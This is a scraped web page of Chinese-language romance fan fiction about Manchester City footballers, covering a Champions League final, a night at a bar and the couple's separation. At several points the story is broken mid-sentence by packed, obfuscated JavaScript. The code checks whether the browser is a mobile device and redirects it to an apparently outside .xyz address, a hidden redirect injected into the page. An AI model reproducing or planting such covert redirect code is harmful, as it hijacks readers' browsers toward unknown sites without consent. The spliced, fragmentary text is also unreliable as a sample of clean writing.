l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14811942|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仰,竟然把他抱起来了,胳膊勒的他还喘了一声。 力气足,曼城这把稳了。 克里奇利笑着拍了拍他的后背,在他耳边小声说你赢了你在上面。 说完该轮到那人还没踢就脸红了。 罗德里发现猫腻,调侃德布劳内,“怎么,胜利的气息扑面而来了,丁丁,你还没踢就红温了。” 德布劳内压下嘴角,疑惑的目光投过去,说:“我很高兴你这么快就恢复了,他给你吃了什么?” “这是个秘密。” 罗德里和德布劳内中间隔着憨厚的阿克在对聊,阿克心里想,这两位哥可别闹,一个前场推土机,一个后场阻截器,都干好活就不会冒顶考验他。 这场比赛真的是一场激烈的视觉盛宴。 克里奇利坐在曼城工作组的位置,还从未有过如此紧张和兴奋的心情,他看不出来哪边更强,他只希望比赛快点结束,曼城赶紧拿分,这90分钟也太漫长太考验人的心脏了。 但愿这几天给他们熬的骨头汤和小鱼粥能让他们身体更结实更扛撞,这一来一回的对抗真的是要吓死人啊! 对面是国际米兰,球员一个个像内功深厚的武林高手,把蓝月军团显得有些矜持,但蓝月亮也不是吃素的,这些天都是按照猛虎食谱喂养的,绅士是他们的气质,脚下依然凶悍如鹰,你敬我一尺,我敬你一丈。 但天有不测风云,尽管克里奇利的目光一直追随着他的爱人,想把自己全部的运气和能量都隔空传递给他,还是在第30分钟,出现了意外状况。 德布劳内的腿部突然感到一阵巨痛,随即蹲下试图缓解疼痛,却仿佛听得见从大腿后侧传来的咯吱咯吱的响声,好像机器缺了机油,让他感到像钝刀割肉一样闷痛无比。 克里奇利的心提到了嗓子眼,他默默念着师父你快点仙灵帮帮我,别拷打我脆弱的神经,还没有人可以让我牵挂到如此地步。 他师父仿佛吹了他一阵仙气,叫他淡定,但是这注定是一道劫数,想要保他平安无事,得需专一长情。 克里奇利立刻发誓,我愿独宠他一个! 裁判示意队医进场,漫长的6分钟治疗过后,德布劳内又重新站了起来,他想要这个冠军,想要与他的爱人一起分享荣光,想要把他带上车顶,和他一起亲吻圣伯莱德杯,彻夜狂欢! 克里奇利赛前找过罗德里,信誓旦旦的对他说:“我不懂踢球,但是我知道你是世界上最好的后腰,凯文说的,你的远射仅次于他,你这场一定会进球!” 罗德里笑说:“凯文真是我那了不起的队友,什么都要争第一,我是最好的,他就是最最好的。” 这位嘴巴毒辣却开了光的厨子,一身玄学自带感应系统,在欧冠赛前就预测了罗德里会进球拯救队伍的事实。 中场休息,克里奇利给德布劳内准备了酸汁饮料,就是腌黄瓜汤,挺难喝的,但比中药好喝点。 德布劳内二话不说一仰脖就干了,喝完以后又揉了揉腿,下半场又继续坚持了20分钟。 克里奇利看他拼尽全力的样子有些心疼,一时又怀疑自己是不是不该给他们特补,这样就像打鸡血一样,也有心理影响,会让他们对自己的身体寄予过量的期待,反而不利于休养生息。 德布劳内换下后,克里奇利赶紧上前拥抱安抚他,拍拍他前胸湿透的衣襟,对他说,“好样的,凯文,我为你感到骄傲。” 德布劳内面无表情的摇摇头。 德布劳内被换下场后,曼城进攻火力明显下降了不少。 然而,被德布劳内称为世界上最好的后腰,也被克里奇利的嘴给开了光的罗德里,一脚暴力无解的贴地斩将曼城推上了世界之巅,势大力沉的将沉溺在水中的月亮给捞了起来! 47.第 47 章 那一刻,替补席上所有人都疯了一样的跳起来,互相抱在一起,有的人还兴奋的冲到角旗区和球员们热烈的拥抱庆祝。 这个球来之不易,在如此高强度的对抗和世界级较量之下,考验的并非是个人而是一个团队的精神属性。 瓜迪奥拉激动的眼角泛红,他的伟业马上就达到了,谁不是呢?曼城的荣誉,多年的沉淀,只差一个欧冠。 随着终场哨声响起,场上倒了一片。 罗德里趴在草地上捂着脸颤抖着双肩迟迟走不出来这场比赛,身后好几个人叠成了一小堆相拥而泣。 鲁本迪亚斯和约翰斯通斯握紧双手互相望着对方,眼里闪着泪光,哈兰德和格拉利什跑到替补席把瓜迪奥拉拖上去,大家围住他把他高高抛上了天空。 曼城所有人聚在一起,乱套了。 克里奇利看着他们肆意庆祝的一幕幕,心胸升起莫大的满足感,跟随着他们的视角傲视着这个世界,我们是冠军! 然而德布劳内却异常平静。 他机械版的和教练队友对手还有工作人员一一握手,脸上依旧没什么表情,甚至看上去不那么开心。 克里奇利以为他要么是开心过头,要么是故作深沉。 他一直想要的,如今已经到手了。 等回去问问他还有什么想要的。 自己虽然不能在场上助攻他实现梦想,却可以在背后不停地助攻他。 他的情绪很奇怪。 直到他被瓜迪奥拉抱住,一向沉稳老练的瓜帅哭的像个孩子似的抓住他的衣服,紧紧地搂着他,一遍一遍的在他耳边重复着,“凯文,我们做到了!我们做到了!” 他木然的回应着,眼睛里没有泪也没有亮晶晶的水光,似乎还没从巨大的胜利中回过神来。 克里奇利看了他一会,觉得不太对劲,他和别人的反应不太一样,他被夺舍了? 师父呀,我是不是许愿许猛了。 他为什么得到了却不开心呢? 是有什么反噬吗? 克里奇利随着大部队回到场馆内,准备为他们提供赛后补给。 他分完了甜橙汁却找不到德布劳内了。 他一般赛中和赛后都不爱喝饮料,但是他需要及时补充电解质和葡萄糖。 克里奇利到处找他,最后在洗手间找到他,他还没换衣服换鞋准备一会重新登场接受颁奖典礼。 克里奇利把手里的橙汁放在洗手台上,抬眼看着镜子中的他。 他脸上红润渐渐褪去,肤色更白,衬的眼睛更蓝,金发被汗水湿透一缕缕的贴在额头,看上去像个落水的小狮子。 “怎么了?厌世了?” 克里奇利没心没肺的把手搭在他的肩膀上,侧着头看他,说了一句该就地挨揍的话。 “嗯。” 没想到德布劳内没打他,还认了。 “啧,你可真是个难伺候的主子。”克里奇利捏了捏他肩膀上的皮肉,开始了克式劝慰。 “我是国米的,那我今晚不活了。”他趴在他肩膀上开始嘤。 “我被KDB虐了,被罗德里炮轰了,被你们曼城蹂躏了,噢…”他装模作样的吸了吸鼻子。 “你被罗德里炮轰过吗?” 他可真会抓重点。 “嗯?” 克里奇利瞪大眼睛看着他面前疲惫的小猫,脑子瓦特了反应半天。 “噢,没有,想哪去啦?乖,跟我回去,换衣服,高高兴兴去领奖。” 他这次真没有,可以说大实话,他也没对他说过谎话。 把德布劳内哄回来以后,又帮他脱掉粘在身上的队服,还帮他擦头发,像个保姆一样就差把他带进浴室给他洗澡了。 德布劳内心情好点了,脱了球鞋蹬了他一脚,把他给蹬个了仰八叉,他就抓住德布劳内的脚想把他也拉下来,德布劳内又蹬了他一次。 “喜怒无常的小猫,你敢拿你的臭脚丫蹬我脸。” “哈哈…” 趁着更衣室没人,两人在更衣室里打情骂俏。 德布劳内最后一个出现在队伍里,排在了最后,他有个心事还没解。 哈兰德看见了,抓住他手腕把他往前推,他一直不肯上前去,最后站到了罗德里后面。 最后他还是闹了脾气,看着大耳朵杯摇头叹息,从他心心念念的荣誉面前飘然走过,一丝命运的自嘲涌了上来。 克里奇利在台下看着他就这样虐自己,恨不能上去把奖杯塞到他手里,告诉他想什么呢!你值得拥有!没有你曼城根本走不到现在! 夜幕降临,狂欢落幕。 领奖过后克里奇利一直在座位上不动弹了,他觉得是时候晾晾他,也许不去强调他的丰功伟绩他就不那么自责和觉得自己不配了。 反正正能量的话一大家子人对他说,瓜帅就差把他当婴儿抱在怀里悠着哄了。 他却时不时的向工作席张望,看到所有人都站在那里给他们拍照,为他们欢呼,只有克里奇利拿着手机坐在那玩。 绕场致谢终于结束,他想奔过来对他说,终于结束了,我现在又饿又累,你得好好伺候我。 刚跑过去就看到有两个男的在和他说话,貌似是球迷区穿过来的,他们隔着栏杆聊的正欢。 他悄悄走过去,故意在他身边收拾东西想听听他们说什么。 和克里奇利说话的正是理查德和保罗。他们从球迷区穿过人群来到曼城休息区,隔着护栏和克里奇利聊天。 “布莱恩,恭喜你们!比赛太精彩了,真羡慕你近距离追星,哦不,负距离追星,真爽啊!” “瞎说什么!怎么样,位置还不错吧!” “相当不错,谢谢你的赠票,不过不是家属区还是有点意外。” “你们俩要饭还嫌饭馊。” “噢,你还是说话这么难听,曼彻斯特的水也没滋养好你这张紧致又毒辣的小嘴。” “Fuck off!度你们的蜜月去,真扎眼睛。” “晚上出来喝口。” “再说吧。” 保罗看到德布劳内就在克里奇利脚边上不停地收拾他那点东西,于是捏住克里奇利的下巴转向一边,“套个近乎呗,那可是德布劳内啊,球衣没了,要个签名总可以吧!” “我和他不熟,你们别给人家添麻烦了。” “不熟?”两人奸笑搓手,就凭克里奇利这斩男的社交水平,他说不熟的那一定是非常的熟,而且这个男人还是金发白男,正中他们伦敦大种马的下怀。 “你不对劲!”理查德作为一个耽美作家,观察力还是出类拔萃的,特别是对他从小玩到大的铁子布莱恩,没什么能逃得过他的眼睛。 “进到第几阶了?” 克里奇利伸手打他,“别胡说八道!” 保罗也反应过来,看了理查 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818885|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 德一眼,馊主意一下冒了出来,他大着胆子喊了一声,“嘿,德布劳内先生!” 德布劳内听见有人叫他,抬起头看过去,这俩人立刻一脸堆笑的向他招手。 “别理他们,两个花痴。” 克里奇利从栏杆上跳下来,和他们一高一低保持着半米的距离。 两人还主动弯下腰从栏杆里伸出手来,德布劳内知道是克里奇利的狐朋狗友,于是友好的和他们握手。 克里奇利只好给德布劳内介绍,这是他伦敦小分队的成员,一个是闷骚宅男攻,一个是社畜牛马攻,来土耳其度蜜月。 德布劳内笑说,两个攻啊。 克里奇利说总比两个受好点。 四个人三个不要脸,一个大红脸。 给子平时的话题更开放,德布劳内还不适应。 “晚上一起出去喝点吧,德布劳内先生。” 他们大言不惭的向他发出邀请。 克里奇利瞪着大眼睛看着他们,刚想替他拒绝,德布劳内却一口答应下来说,“好啊,伦敦来的也算家里人。” “噢——!”俩人兴奋的差点跳起来,他们眉飞色舞的对克里奇利起哄,“家里人噢,他说家里人。” “他是说英超球迷,你们俩总不是来支持国米的吧!” “啧啧啧,还解释上了。” 德布劳内笑笑,似乎对克里奇利的回答不太满意。 他的不满意让他们还没出发就开始各种摩擦不断。 “不欢迎我加入你们的小团体吗?”德布劳内在房间换衣服准备和他去小酒馆见他的朋友。 “不是,他们太粗俗了,我怕你不喜欢。”克里奇利坐在他床上看着镜子里的他。 “噢,你不粗俗?”德布劳内整理衣领瞥他一眼。 “我…” “你在我面前还装什么正经人,你就是一副爱我你就留下不爱我你就滚蛋这样一副德性。” “……” 克里奇利被他说的愣了一会,自觉无力反驳,德布劳内看人有点准,他的确是这么一个风格,只是那是以前,现在也是有partner的人了,已经收敛太多了。 “也不是一时半会能改过来的。”他手插在兜里,还无所谓的笑。 他实在耿直的态度惹得德布劳内不高兴,但是也没表现的太明显,还是整理了一下疲惫的状态,和他出了门。 颁奖结束后已经很晚了,但是大家真的各有去处,官方说回去庆祝,今晚大家都累了早点休息,把他们放到酒店,然而这些成年人不出去放飞自我岂不白来一趟,倒不是奔着拜占庭风格的艺术之都而是循着味道往酒香巷子深里走去。 克里奇利他们来到一个queers bar. 德布劳内可从没来过这么混乱的地方。 克里奇利怕有人认出他,把他的卫衣帽子拉上去,这样他就不那么显眼了。 还怕吓到他,一直拉着他寸步不离,但还是震惊到他,心里有些不安的紧跟在克里奇利身边。 这里鱼龙混杂,什么人都有,LGBT,异装大佬,皮革爱好者,痴汉,4i…只有想不到没有看不到,说实话,乱到克里奇利都感到头皮发麻,这小地方谁打听的,不能去一个安静优雅的小酒馆喝喝酒聊聊天吗,这俩人是越来越胆大,越来越欲求不满了。 实际上,他的猎奇观在一点一点转变,他自己没发现而已。 48.第 48 章 “真不愧是艺术之都!” 这两个伦敦来的土包子看见夜色霏霏的酒吧这么大,舞池中间还有一个超大的训练广场,眼睛发亮。 实际上没见过世面的另有其人。 他整天忙着训练比赛,有点空就补觉,连街都不逛,冰箱和衣橱一样干净,和他的私生活一样,干货寥寥无几。 他才是一个纯洁诚实又有些洁癖的人。 他和这个场合格格不入。 克里奇利则是一个对什么都手到擒来的人,他就是一条鱼缸里的金龙鳅,生存力极强又可以把鱼缸里的水搅和的跟开了锅一样,而且他还是条漂亮的泥鳅,比那些花花绿绿的热带鱼都要耐看,还扛打。 他见怪不怪的拉着德布劳内穿过人群,来到一个较为私密的包间,通过半开的帘子可以看到外面的春光,但外面的人看不到他们,不过也没人窥视包间里的人,都在各忙各的。 这两个不淡定的伦敦人才不甘于坐在包间里喝酒聊天,他们土耳其之旅才刚刚开始,一直拉着克里奇利要去外面寻求刺激,克里奇利说,我得保护好我同事。 partner这个词放在这个语境里是容易让人产生误会的,谁知道他说的是同事还是另一半。 理查德和保罗又一次谄笑了他,还没等调侃就被他一把推出了包间。 partner?德布劳内也好奇,倒没问的很清楚,好像累的嘴皮子都张不开,一直慵懒的靠在沙发背上,强打精神让那些离奇画面闯进自己的视线里。 “你没来过这种地方吧?” 克里奇利给他倒了一杯苏打水,衬衫袖子半挽在小臂上,露出一截刀削般骨感结实的手臂。 “看样子你经常来。”德布劳内没什么好气的回应他。 包间里有点热,德布劳内也把袖子撸上去,杯子握在手里,室外的灯柱时不时的扫过来,衬的他皮肤更显白皙,像落在凡间的雪王子,跟这个污七八糟的环境反差极大。 克里奇利看着他,赛后的激动和平复下来的沉静都比不上他现在纤尘不染的样子。 即便是躁动的人群和夸张吸睛的表演也不能骚乱他心神半分,他对周遭环境不感兴趣,眼里只有克里奇利一个人。 “这地方不适合你,一会早点回去,不必为了我勉强自己来应酬,我们伦敦小分队经常见面,又不是非得在这叙旧。” “不勉强,在哪都是放松,倒是你显得不太自然,是想去玩又觉得我是累赘吗?” “怎么会呢,凯文,你对我还是这么没信心。” 这时一个异状boy路过他们的包间,往里面扫了一眼,看见克里奇利后冲他调情抛媚眼。 克里奇利没回应他,这确实不是他喜欢的类型,他不喜欢穿裙子施粉黛的男孩,但那个男孩还没有要走的意思,正巧碰上理查德和保罗回来。 “哇哦,这么漂亮的土耳其小帅哥,你们怎么忍心让他站在门外。” 保罗正想邀请他进来喝一杯,结果被克里奇利伸手挡住了,“我这里有贵宾,不方便。” 男孩子悻悻的走了,搞得保罗和理查德有点诧异,这是伦敦的克里奇利?他向来不会拒绝美色靠近,何况是异域风情的小鲜肉。 该不会是真的和德布劳内谈上了吧。 “布莱恩,没酒了,能辛苦你的长腿移步一下吗?”理查德想把他支开,套点话出来。 “不喝了,就这些,你们不知道我今天有多累。”他还不上套。 “我去吧。”德布劳内刚要站起来,又被克里奇利按住了手,对他摇摇头。 “那我去吧。”保罗也没理解理查德的心思,他也站起来欲从克里奇利身前绕出去。 克里奇利腿一收,给他让了路。 “嘿,你怎么不拦着他啊?”理查德冲克里奇利嚷嚷,“我俩刚跳完一轮也累的汗流浃背了,真偏心啊!” “我说了他是我的贵宾,我得保护好他。” 保罗拍了他大腿一下,也开始挑理,“布莱恩,你谈恋爱了!你绝对谈恋爱了!” “胡说八道什么。” “来来来,老实交代。” 保罗搂着克里奇利的脖子就把他往包间外面拖。 他们打打闹闹的,一点也不像30的人,德布劳内掩面偷笑。 克里奇利不好拒绝还是被保罗给拖出去了。 保罗借口尿尿,让克里奇利去买酒,趁机又跑了回来,他就知道理查德的小心思,也想早点回来坐实克里奇利谈恋爱的八卦。 刚进门就听见理查德在跟德布劳内传授经验,什么布莱恩多金,成功,帅气,伦敦一美,太多人物色他了,你要想抓住他必须得手腕狠。 德布劳内问他怎么个狠法。 “他很难被驯服,你要…” “你要想办法把他留在家里,不要让他出去,否则,你知道的,外面诱惑那么多,小鲜肉层出不穷,他会变心的,而且他变心超快。” “他哪有心,谈不上变心。”理查德接过去话。 “继续说,怎么个狠法?”德布劳内心里已经想到之前用手铐铐住他,小鞭子抽他也没觉得多有用,他还是没有要和自己谈恋爱的想法,要不是自己主动问他,现在说不定就只是同事而已。 “你得让他为你吃醋。” “噢,你就是这么让我上套的,我说你那段日子怎么不跟我玩了,原来是给我找醋吃,让我觉得不能没有你,理查,你真不愧是写书的,心眼子太多了。” “你懂什么,这叫心理学。” 德布劳内笑。 “真的,德布劳内先生。” “叫我凯文就行。” “凯文,你要是能栓住他,那你就是第一人。” “哈哈哈…”德布劳内被他们夸张的表情逗笑,跟克里奇利谈个恋爱就成第一人了,这比金球奖还难拿吗? “你别不信,他其实很难搞,你要是稍微大意一点,他就…” “我就怎么了?”克里奇利把手里的杜松子酒放到桌上,大眼睛一眨不眨的盯着理查德,眼神似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14823208|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在警告他再说下去就别怪我翻脸。 “啊,没什么。”保罗开始打圆场,“这不是在和德布劳内先生介绍入圈规则吗,正好聊到你。” “他们说你已经很久没和他们来这种酒吧了,而且大概有…”德布劳内开始数手指头,“3天没和他们讨论帅哥了。” 克里奇利坐下,不知道是出于什么原因,他对理查德和保罗十分严肃的说:“就知道不该和你俩出来瞎胡闹,他是直男!” “啊??”理查德和保罗两脸震惊,面面相觑。 他们以为德布劳内和克里奇利已经是一对儿了,种种迹象都表明他们绝对不是普通同事这么简单,怎么还能是直男。 德布劳内被他这么一说,也有点摸不着头脑,也许是出于保护自己的原因,也许是他根本不想在朋友面前毁掉自己的人设,总之,这一句直男也给自己敲响了警钟。 “没事没事,那有什么。”理查德大言不惭的说着,“直男他也能掰弯,德布劳内先生,来喝一杯。” 这个小聚会让克里奇利全程不自在,他也不知道要是德布劳内不来他能不能放的开,能不能招架得住这俩热衷于窥视他私生活的猥琐男。 他的私生活向来不必窥视,都是在他们面前有一说一,毫不掩饰,除了不透露姓名,他也确实记不住,基本都摆在他们面前,让他们实名羡慕,大概是到了曼彻斯特离得远了,不经常讨论就冒出神秘感了。 回去后,他们还怂恿他早点拿下德布劳内,他们说看得出来,德布劳内虽然是直男,也并不排斥他们,相反对这个圈子容忍度很高,能跟你出来就表示不只是同事那么简单,好感可以培养一下。 他回他们,“我为什么放着一片森林不要,非要在一棵树上吊死。顺便问一下,你们婚后生活还和谐吗?有没有超出规定夜不归宿的时候被另一半扒光了踢出去?” 两人回了他一个不友好手势,就不搭理他了。 德布劳内回去后,表面上不温不火的,实际上也开始犯嘀咕。 他常常睡不着扪心自问,为什么会喜欢上一个夜夜笙歌,喜欢出去勾搭别人,从来不憧憬二人世界的人呢。 说是不在乎他的过去,自己真的有本事天天栓住他,不去看窗外的景色吗? 以前不知道是因为自己大概真的是男女通吃,现在看到这个圈子这么多诱惑,摁住他围着自己转他真的开心吗? 这几天德布劳内都没来他家,也没让他去。说是放假了要回比利时,如果他想回伦敦也可以回去。 克里奇利说,回什么伦敦,房子我都卖了。 变脸超快的大橘猫也没给他立什么约法三章,也没放话让他出去玩,但他是有圈子的,确实不是属于某一个人的。 他会有自己的应酬,除了圈里人的各种聚会,还有业界交流,厨子届也卷,不过他还挺无欲无求的,在曼城享受高薪待遇不会轻易被别的机构或个人挖走。 德布劳内走时什么都没说,也不说什么时候回来,考验克里奇利的时候到了。 49.第 49 章 这天,托马斯回来了。 他一进门就挂在克里奇利的脖子上,兴奋的告诉他这十几天的所见所闻,还拿出了自己初选的奖牌,下一步就要去东南亚参加决赛,到时候电视就会有转播。 克里奇利上下打量着他,嗯,气质确实变了很多,阳光帅气健康这些他已经都有了,这一趟旅行让他看上去有那么一点明星气场,不那么愣头愣脑一股小傻子味儿了。 不过他的行李哪去了, “看来我这不是第一站啊,小崽子,回来第一时间跑哪去了?”眼尖的克里奇利一语道破。 “呃…”托马斯搓搓手,有些心虚的回答他,“我放在朋友那了,想跟你商量一下,关于搬出去住这件事。” 看他忽闪着睫毛,一双黑漆漆的眼睛转来转去,就知道他一包心眼子现在正准备攻略他的监护人,早就把他一眼看穿的30岁的老男人。 “去吧,搬出去住,也不用经常回来看我,我太忙没时间管你,你朋友我也不想打听,再被欺负了我也鞭长莫及。” 克里奇利没等他开口就先把自己攻略了,说完他就躺床上开始摆烂,谁都不想管,一个个都想一出是一出的。 “哥,我不瞒着你,是我们队长麦卡蒂,他要找人合租。” “麦卡蒂?” 克里奇利知道这个孩子,来一队吃过饭,还跟他说过为了天天来一队吃饭,一定要早点升上来。 克里奇利看他长的乖巧难得的鼓励了他一句,说你少吃点,才19就长这么高了,再长个儿就得去当门将了。 他说我才18。 现在他还在二队带队打u19,下个赛季一准升队了。 怎么有种要当上丈母爹的感觉。 才养了小半年的阿根廷小麋鹿,这就要跳进别人怀里去了。 不舍得归不舍得,克里奇利是最懂得放手的人。 “你需要和同龄人交流,我同意了。” 他把手交叉放在脑后,闭着眼睛回答他,说的容易其实心里是有些不舍的,他走了早上就吃不到难吃的早饭,也看不到他坐在沙发上打游戏骂脏话了。 但是他不用看这个闪着耀眼光芒整天朝气蓬勃的小男孩在自己眼前蹦跶,还动不动管自己叫老哥,克里奇利数落他你不如直接叫爹,然后他就把生气老哥的脸捏成包子。 爱一个人挺难的,现在不是一个是两个,克里奇利想要赶快睡着,不想考虑这些以前从来不用考虑的事。 他从来就没有爱过谁,也没获得过真正的爱。 所以他大多数时候像一条蛇一样盘在自己舒适的洞穴里,只有觅食的时候才会显示出咄咄逼人的攻击性。 现在他好像学会了一点怎么去关心别人,可很多时候都憋在心里,说出来的都是不太着调的话,但托马斯懂他,他越是把自己往外推实际上越在意。 托马斯把窗帘拉上,又走到他身边给他盖上被子,俯下身来亲吻了他的额头,轻轻说了一句:“哥,谢谢你。” 克里奇利转了个身,抓紧被子把头埋在手底下,双目紧闭好像睡着了。 托马斯蹑手蹑脚的把从法国意大利带回来的伴手礼放在厨房的桌上,然后收拾了几件衣服,像个小偷似的生怕惊醒了熟睡中的主人,打好包后站在门口依依不舍的看了看这个收留他这么久的温馨小窝和他的恩人,这里有很多欢乐、包容、指引还有爱,他还会回来的,只是和别人合租而已,这对他来说代表着独立的第一步。 他刚关上门,克里奇利无论如何也睡不着了。 现在是下午6点,他睡的什么觉呢,这睡了,晚上就得玩到凌晨3点,可他的伴侣呢,回比利时就跟失踪了一样,偶尔刷视频能看到他出席一些足球相关的活动,然后ins和社交软件就跟被封了一样,落满了灰尘。 克里奇利无论如何也呆不住,这不是养狗,是栓狼,他回比利时还叫我回伦敦,言下之意就是可以放飞自我了,他脑子一过那些令人上头的画面,道德感随即被踩在脚下成了一缕烟灰。 还没等出去找乐子,叮的一声,德布劳内发来一条信息。 真及时啊,看来脑子就不能想那些伤风败俗的事儿,他的伴侣好像能感应到,一张照片就把他那脆弱易碎的爱情观又给糊起来了。 照片中他和三个男的在游艇上,赤着上身勾肩搭背的还挤出一脸褶子。 “吃醋了吗?”他说。 克里奇利看着手机发笑,这谁教给他的,用的这么直白。 “本来就离得远,还给我发醋吃,我缺饺子啊。”他回道。 “哈哈,那你自行解决,不许出去偷腥,否则我回去弄死你。” “快点回来弄死我。” 他裸着走到窗边,迎着窗外的夕阳,胡子拉碴,头发翘着,双眼眯缝起来看上去比出海晒日光浴的裸男们性感多了,于是自恋的拍了张照片发过去。 “这么狂野的小狼狗不出去觅食真浪费啊!” “你还说,你不在家,我快饿死了,给我发张照片过来,你懂。” “不方便。” 德布劳内拒绝了他,也不和他发视频,仅仅在语音中说说骚话,惹得他浑身跟被蚂蚁咬了似的,痒的要褪皮了。 那些火辣的摩擦无删减版的镜头在他脑子里一遍又一遍的过,现在他才知道有伴侣的好处是当他在身边时拉过来就宠,坏处就是不在身边时各种束缚。 他知道他不能出去猎食,因为他现在是一对一的关系,但他还不太懂忠诚在两个男人之间也是如此重要,因此他在想要是照片中的那三个男人欺负他爱人他会不会吃醋,答案是不会,相反他会加入进去干死那三个饱满的肌肉男。 想着想着他就兴奋了,这是他走向社会后第一次在孤独寂寞中“享受”自己,这滋味真别扭,累得手酸不说,过后还泛起了一阵恶心。 我堂堂伦敦大种马,竟然要靠脑子里的小片来解决自己,真是窝火到头了。 要是这么过日子的话,人生也没啥追求了。他沮丧难过又不知道该向谁说。 这时,手机响了一声,他以为德布劳内又检查他生活作风,想把一垃圾桶的卫生纸拍下来给他看,叫他一语不发就回比利时,把漂亮的老公扔在家里守空房。 结果一看是eleven给他发消息。 “布莱恩,明天我家有个聚餐,能请你来帮忙吗?” “什么聚餐?我去吃还是做?” “呃,做完了吃行不?你要是来了,他们一定会很高兴的。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14841012|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“诗怡,又跟家人说大话了是吧?你带你男人来咱家餐馆约会,每次都让我给他做好吃的还说是你做的,帮你成功追到他你不感谢我还薅我。” “我不是帮你值早班了嘛!就一次,师哥~” 中文都跑出来了,克里奇利怎么会拒绝她,小师妹的话他从来都没有不听过,以前在餐馆得罪客人闯了祸都是小师妹帮他说好话,不然他师父活不到这个年纪。 “但是我有一个要求。” “我知道,我会付给你时薪的,财迷。” “不是,时薪小事儿,我不差这个,你出来陪我喝一杯,别叫你那好事的老公知道。” eleven的老公是个cab,有点恐侗,克里奇利不太喜欢他,因为他老是叫eleven离自己远点,说他抓到的小混混大部分都是gay,一身的病。 克里奇利在曼彻斯特也没什么朋友,有的只是圈里人和泛泛之交,再就是吧友,一聊就聊到床上去的那种。 所以他有些话想说,只能和真正能为他着想的人诉说。 他们在一个小酒吧见面。 克里奇利早早来了在窗边的座位等着她。 eleven风风火火的进门就四处张望,找到他以后径直走过来,还没坐下就关切的问他,“怎么了布莱恩,这个点不应该是你的蹦迪狩猎时间吗?” “没胃口。”克里奇利一反常态。 “噢?怎么了?被哪个小帅哥甩了?” “你能不能盼我点好?” “嘿,布莱恩,可是你约我出来的,想对我撒气是吧,哼,就算你明天来帮我的忙,我也不当出气筒噢!” eleven嘴巴很厉害,才不吃憋屈呢,她帮师哥骂挑剔的顾客比他嘴还毒,一句你这种胖的跟猪一样没人爱你能骂哭好几个吃饭不给钱还找事的teenager。 “好,我就是找你聊聊天,实在是闷死了。”克里奇利可不能把她再气走了,“两杯帝王赤霞珠,我请。” “怎么了这是?看来要谈论的事很大。” “难以想象的事发生了。” “直了?” “比这个可怕。”他顿了顿,“我谈恋爱了。” “啊哈哈哈…”她笑的很大声,引的别人看过来,接着又收住了,“这不可怕啊,布莱恩,你会乐在其中的。” “我是挺开心的,但是他不在身边的时候,我总是精神出轨,老是想往外跑,这正常吗?今天我忍住了,脑子里想着他然后自己解决了,但我不能保证下次还能这么做。” “你爱他吗?” “毫无疑问爱。” “那就不会再爱别人。” “我不爱别人,但是你知道我怕约束不住自己。” “爱情不是你想怎样就怎样,你要学会忍耐和憧憬,布莱恩,我也有100次想杀死Bill的时候,然而总是在第二天还要提醒他别忘了带哮喘药。” 这时eleven手机响了,她接起来解释自己在超市准备明天的聚餐食材,克里奇利付了账单,转身离开了酒吧。 他买了去比利时的机票,因为他怕第二天管不住自己做出背叛爱情的事,他不可以伤害那个愿意忍受他的花心并对他有憧憬的人。 50.第 50 章 要一个夜夜笙歌的基佬在火热的夏天禁欲这真的不是一个好主意。 德布劳内回比利时一走就是一个星期,这实在是考验克里奇利在这段一对一的关系中还有多少耐心。 他买了去比利时的机票要把这一周攒的火通通发泄给那个从土耳其回来就对他忽冷忽热的人。 他还打算给他一个惊喜。 彼时的德布劳内确实心思没在他远在曼彻斯特的男友身上,他也不清闲,整天忙着玩。 刚和朋友们从游轮上下来,又参加了家庭聚餐,还要迎接他俱乐部的小队员来比利时踢青少年友谊赛,最后还答应了沙特的朋友去看一场F1比赛。 私人聚会和足球相关的活动填满了他的假期,让他一时忽略了和男朋友调情。 也不是他不想调,是他从土耳其回来就觉得这样不对。 他怀疑自己可以栓住他的能力,也不想花心思去教育他要做一个专一长情的安静美男子,那样的话就不是他了。 自己之前喜欢他也是因为他对感情持来去自如的态度,潇洒的就跟不是自己的事儿一样。 不搭理他那段时间他也能做到不上赶着,不阴阳怪气,也不区别对待,尽管他也因此而掉称,这证明了自己还是有魅力可以吸引这种不轻易捞人的名品的,这样就够了,剩下的顺其自然吧。 他不在身边,也就少了担心他乱搞的烦恼。 德布劳内在自己的别墅里喝茶赏花吹空调,想着一会还要和他爸爸去参加一个小型商业聚会。 这时克里奇利打来电话问他在哪。 